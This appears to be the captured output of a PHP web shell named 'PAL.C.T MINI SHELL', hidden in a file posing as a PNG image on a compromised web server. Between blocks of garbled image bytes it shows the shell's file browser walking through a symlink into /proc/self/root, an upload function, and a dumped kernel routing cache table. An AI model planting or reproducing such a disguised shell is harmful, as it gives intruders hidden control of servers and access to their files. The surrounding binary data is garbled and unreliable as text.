php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/proc/self/root/proc/15/net/
upload
files >> /var/www/html/sub/images/sym/root/proc/self/root/proc/15/net/rt_cache

Iface	Destination	Gateway 	Flags		RefCnt	Use	Metric	Source		MTU	Window	IRTT	TOS	HHRef	HHUptod	SpecDst                          
eth0	49C271D9	0180C780	       0	0	2	0	F4A1C780	1500	0	1207	00	139	1	F4A1C780                                                   
eth0	157CE622	0180C780	       0	0	1	0	F4A1C780	1500	0	1793	00	139	1	F4A1C780                                                   
eth0	02D849D8	0180C780	       0	4	1025	0	F4A1C780	1500	0	502	00	139	1	F4A1C780                                                 
lo	F4A1C780	F4A1C780	80000000	0	8	0	6E867772	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	4732C32C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	CA26AD23	0180C780	       0	0	1	0	F4A1C780	1500	0	1591	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4368	0	02D849D8	0	0	0	00	-1	0	F4A1C780                                                         
eth0	E2F0D512	0180C780	       0	0	1	0	F4A1C780	1500	0	1228	00	139	1	F4A1C780                                                   
eth0	0847CC34	0180C780	       0	0	1	0	F4A1C780	1500	0	1580	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	0	0	6B438803	0	0	0	00	-1	0	F4A1C780                                                            
eth0	C9E80634	0180C780	       0	0	1	0	F4A1C780	1500	0	1315	00	139	1	F4A1C780                                                   
eth0	9B3B5636	0180C780	       0	0	1	0	F4A1C780	1500	0	1230	00	139	1	F4A1C780                                                   
eth0	4732C32C	0180C780	       0	0	1	0	F4A1C780	1500	0	1305	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	CA26AD23	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	5234FA2F	0	0	0	14	-1	0	F4A1C780                                                            
eth0	EA69DD2C	0180C780	       0	0	2	0	F4A1C780	1500	0	1227	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	E2F0D512	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	1	0	2D31665E	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	666B5262	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	B3BFEB36	0	0	0	00	-1	0	F4A1C780                                                            
eth0	666B5262	0180C780	       0	0	1	0	F4A1C780	1500	0	1626	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	6243C022	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	9	0	4BC271D9	0	0	0	00	-1	0	F4A1C780                                                            
lo	0100007F	0100007F	80000000	0	5	0	0100007F	16436	0	0	00	-1	0	0100007F                                                        
eth0	6243C022	0180C780	       0	0	1	0	F4A1C780	1500	0	1270	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	4	0	2CB0D603	0	0	0	00	-1	0	F4A1C780                                                            
eth0	CDB1AB3E	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
eth0	AD9441B0	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
eth0	6E867772	0180C780	       0	0	1	0	F4A1C780	1500	0	10	00	139	1	F4A1C780                                                     
eth0	A06B1E51	0180C780	       0	0	6	0	F4A1C780	1500	0	655	00	139	1	F4A1C780                                                    
eth0	76317C4F	0180C780	       0	0	1	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	44	0	B96B1E51	0	0	0	00	-1	0	F4A1C780                                                           
lo	F4A1C780	F4A1C780	80000000	0	5	0	49C271D9	0	0	0	00	-1	0	F4A1C780                                                            
eth0	2CB0D603	0180C780	       0	0	1	0	F4A1C780	1500	0	1230	00	139	1	F4A1C780                                                   
eth0	5234FA2F	0180C780	       0	0	0	0	F4A1C780	1500	0	0	14	139	1	F4A1C780                                                      
eth0	634C522D	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	3	0	76317C4F	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	0DD14634	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	157CE622	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	9B3B5636	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	EA69DD2C	0	0	0	00	-1	0	F4A1C780                                                            
eth0	2DA5C222	0180C780	       0	0	1	0	F4A1C780	1500	0	1213	00	139	1	F4A1C780                                                   
lo	0100007F	0100007F	80000000	0	11	0	0100007F	16436	0	0	00	3	1	0100007F                                                        
eth0	6B438803	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
eth0	B3BFEB36	0180C780	       0	0	1	0	F4A1C780	1500	0	1275	00	139	1	F4A1C780                                                   
lo	F4A1C780	F4A1C780	80000000	0	43	0	A06B1E51	0	0	0	00	-1	0	F4A1C780                                                           
lo	F4A1C780	F4A1C780	80000000	0	4	0	2DA5C222	0	0	0	00	-1	0	F4A1C780                                                            
eth0	B96B1E51	0180C780	       0	0	7	0	F4A1C780	1500	0	653	00	139	1	F4A1C780                                                    
lo	F4A1C780	F4A1C780	80000000	0	0	0	AD9441B0	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	4	0	0847CC34	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	5	0	C9E80634	0	0	0	00	-1	0	F4A1C780                                                            
lo	F4A1C780	F4A1C780	80000000	0	0	0	634C522D	0	0	0	00	-1	0	F4A1C780                                                            
eth0	4BC271D9	0180C780	       0	0	3	0	F4A1C780	1500	0	1112	00	139	1	F4A1C780                                                   
eth0	0DD14634	0180C780	       0	0	1	0	F4A1C780	1500	0	1381	00	139	1	F4A1C780                                                   
eth0	2D31665E	0180C780	       0	0	0	0	F4A1C780	1500	0	0	00	139	1	F4A1C780                                                      
lo	F4A1C780	F4A1C780	80000000	0	0	0	CDB1AB3E	0	0	0	00	-1	0	F4A1C780                                                            
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`